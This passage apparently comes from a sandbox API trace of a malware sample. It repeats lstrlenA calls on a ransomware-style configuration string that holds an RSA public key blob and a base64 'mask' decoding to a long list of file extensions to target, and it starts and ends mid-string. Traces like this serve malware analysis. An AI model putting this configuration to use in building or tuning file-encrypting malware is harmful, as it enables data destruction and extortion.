udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA